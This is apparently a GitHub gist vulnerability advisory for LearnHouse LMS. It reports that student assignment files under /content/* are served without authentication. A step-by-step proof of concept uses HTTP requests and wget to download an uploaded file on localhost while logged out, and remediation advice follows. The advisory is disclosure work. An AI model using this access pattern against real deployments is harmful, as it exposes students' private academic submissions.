Skip to content

Instantly share code, notes, and snippets.

@KhanMarshaI
Created October 13, 2025 08:22
Show Gist options
  • Select an option

  • Save KhanMarshaI/f71f86fbd5d8e8363f9113a8c054c28b to your computer and use it in GitHub Desktop.

Select an option

Save KhanMarshaI/f71f86fbd5d8e8363f9113a8c054c28b to your computer and use it in GitHub Desktop.

Summary

LearnHouse LMS contains an Insecure Direct Object Reference (IDOR) vulnerability that allows unauthenticated users to access student assignment submissions via predictable URL patterns. The /content/* route serving uploaded files lacks authentication and authorization checks, enabling unauthorized access to sensitive academic materials.

Vulnerability Details

Type: Insecure Direct Object Reference (IDOR) / Missing Authorization

CWE: CWE-639: Authorization Bypass Through User-Controlled Key

Affected Product

Vendor: LearnHouse

Product: learnhouse

Affected Versions: All versions as of commit 98dfad7 (latest at time of discovery)

Technical Description

The LearnHouse LMS stores student assignment submissions in a publicly accessible directory structure under the /content/* path. While the URL structure includes multiple UUIDs (organization, course, activity, assignment, task, and submission identifiers), the server does not implement any authentication or authorization checks when serving these files. When a student uploads an assignment file through the API endpoint /api/v1/assignments/{assignment_id}/tasks/{task_id}/sub_file, the server returns a file UUID that can be used to construct a direct URL to the uploaded file. This URL follows the pattern: /content/orgs/{org_id}/courses/{course_id}/activities/{activity_id}/assignments/{assignment_id}/tasks/{task_id}/subs/{file_uuid}.{extension}

Any user with knowledge of this URL structure can access the file without authentication, either through a web browser or command-line tools like wget/curl. The vulnerability exists because the static file serving mechanism (likely nginx or a similar web server) serves files from the /content/ directory without passing requests through the application's authentication middleware.

Impact

This vulnerability has severe privacy and security implications:

  • Privacy Violation: Any unauthenticated user can access student assignment submissions, potentially containing personal information, academic work, and sensitive data
  • Academic Integrity Risk: Unauthorized access enables plagiarism, as students could access other students' submitted work
  • Data Breach: Confidential academic materials, grades, and feedback may be exposed
  • Compliance Issues: May violate FERPA (Family Educational Rights and Privacy Act) in the US and GDPR in the EU regarding student data protection
  • Reputational Damage: Institutions using LearnHouse could face legal liability and loss of trust The vulnerability affects all assignment submissions across all organizations, courses, and students using the platform.

Proof Of Concept

  • Create a test account (student A).
  • Open an assignment and submit files. Assignment Submission
  • The server returns the uploaded file with UUID:
POST /api/v1/assignments/assignment_cf1cf999-b354-4da9-8d85-bfb0f1e85d5d/tasks/assignmenttask_99684100-bde1-4b88-891e-d1539657f241/sub_file HTTP/1.1

Response:
HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Mon, 13 Oct 2025 08:02:34 GMT
Content-Type: application/json
Content-Length: 131
Connection: keep-alive
access-control-allow-credentials: true
access-control-allow-origin: http://localhost
vary: Origin

{"file_uuid":"assignmenttask_99684100-bde1-4b88-891e-d1539657f241_sub_student@school.dev_f4a31361-4427-4740-9bb0-a7320e033600.jpg"}
  • Be sure to save the uploaded file:
PUT /api/v1/assignments/assignment_cf1cf999-b354-4da9-8d85-bfb0f1e85d5d/tasks/assignmenttask_99684100-bde1-4b88-891e-d1539657f241/submissions 
HTTP/1.1

Response:
HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Mon, 13 Oct 2025 08:04:16 GMT
Content-Type: application/json
Content-Length: 505
Connection: keep-alive
access-control-allow-credentials: true
access-control-allow-origin: http://localhost
vary: Origin

{"assignment_task_submission_uuid":"assignmenttasksubmission_b837318c-c80b-41be-a48e-cf4b0f45e5e8","task_submission":{"fileUUID":"assignmenttask_99684100-bde1-4b88-891e-d1539657f241_sub_student@school.dev_f4a31361-4427-4740-9bb0-a7320e033600.jpg"},"grade":0,"task_submission_grade_feedback":"","assignment_type":"FILE_SUBMISSION","user_id":2,"activity_id":2,"course_id":1,"chapter_id":1,"assignment_task_id":3,"id":3,"creation_date":"2025-10-13 08:04:16.401296","update_date":"2025-10-13 08:04:16.401296"}
  • Be sure to submit it as well:
POST /api/v1/assignments/assignment_cf1cf999-b354-4da9-8d85-bfb0f1e85d5d/submissions HTTP/1.1

Response:
{"submission_status":"SUBMITTED","grade":0,"user_id":2,"assignment_id":2,"id":3,"creation_date":"2025-10-13 08:09:13.073625","update_date":"2025-10-13 08:09:13.073639"}
  • Now logout and try to access the uploaded file:
http://localhost/content/orgs/org_ac4a2b4a-ca29-4884-a5b6-7d4f77e677b7/courses/course_bf9dba95-62f7-41be-ad86-d22f3f0048b8/activities/activity_51d2aee7-001b-4cb1-8d20-f42438a5096a/assignments/assignment_cf1cf999-b354-4da9-8d85-bfb0f1e85d5d/tasks/assignmenttask_99684100-bde1-4b88-891e-d1539657f241/subs/assignmenttask_99684100-bde1-4b88-891e-d1539657f241_sub_student@school.dev_f4a31361-4427-4740-9bb0-a7320e033600.jpg

File Submission IDOR

OR just wget it:

┌──(kali㉿kali)-[~/Downloads/IDOR-test]
└─$ wget http://localhost/content/orgs/org_ac4a2b4a-ca29-4884-a5b6-7d4f77e677b7/courses/course_bf9dba95-62f7-41be-ad86-d22f3f0048b8/activities/activity_51d2aee7-001b-4cb1-8d20-f42438a5096a/assignments/assignment_cf1cf999-b354-4da9-8d85-bfb0f1e85d5d/tasks/assignmenttask_99684100-bde1-4b88-891e-d1539657f241/subs/assignmenttask_99684100-bde1-4b88-891e-d1539657f241_sub_student@school.dev_f4a31361-4427-4740-9bb0-a7320e033600.jpg
<SNIP>
2025-10-13 04:13:29 (118 MB/s) - ‘assignmenttask_99684100-bde1-4b88-891e-d1539657f241_sub_student@school.dev_f4a31361-4427-4740-9bb0-a7320e033600.jpg’ saved [152893/152893]

                                                                                                                                                                                                              
┌──(kali㉿kali)-[~/Downloads/IDOR-test]
└─$ file assignmenttask_99684100-bde1-4b88-891e-d1539657f241_sub_student@school.dev_f4a31361-4427-4740-9bb0-a7320e033600.jpg 
assignmenttask_99684100-bde1-4b88-891e-d1539657f241_sub_student@school.dev_f4a31361-4427-4740-9bb0-a7320e033600.jpg: JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=12, description=                               , manufacturer=NIKON, model=COOLPIX P6000, orientation=upper-left, xresolution=210, yresolution=218, resolutionunit=2, software=Nikon Transfer 1.1 W, datetime=2008:11:01 21:15:11, GPS-Data], baseline, precision 8, 640x480, components 3

Recommended Remediation

  1. Implement Authentication: Route all /content/* requests through the application's authentication middleware to verify user identity
  2. Add Authorization Checks: Before serving files, verify that the requesting user has permission to access the resource by checking:
    • Is the user the student who submitted the file?
    • Is the user an instructor for the course?
    • Does the user have administrative privileges?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment